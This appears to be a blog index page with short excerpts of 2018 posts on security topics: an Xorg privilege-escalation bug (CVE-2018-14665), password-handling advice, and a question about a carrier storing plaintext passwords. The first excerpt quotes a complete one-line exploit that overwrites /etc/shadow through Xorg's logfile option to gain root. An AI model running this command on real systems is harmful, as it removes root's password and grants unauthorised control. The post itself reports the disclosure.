October 26, 2018

CVE-2018-14665: Exploit in a Tweet

Hacker Fantastic has another Tweet-able exploit for a system: #CVE-2018-14665 - a LPE exploit via https://t.co/eax3fvaAjE fits in a tweetcd /etc; Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1;suOverwrite shadow (or any)…

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October 4, 2018

ANOTHER GOOD article about passwords

Very glad to see another post by a site, giving good information on handling passwords, security question answers, & the recommendation to use password managers. I last had a post about…

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April 9, 2018

Twitter Austria & Storing Plaintext Passwords?

Just found this great Twitter thread: @c_pellegrino: Does T-Mobile Austria in fact store customers’ passwords in clear text @tmobileat? @PWTooStrong @Telekom_hilft Does T-Mobile Austria in fact store customers’ passwords in…

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March 26, 2018

Silicon Valley: Facebook \ Фейсбук

During the Silicon Valley opening credits, the Facebook logo flipped from English to Russian. First-rate burn by one of the best series on TV. pic.twitter.com/zvh9ZPd3td— Adam Best (@adamcbest) March 26,…

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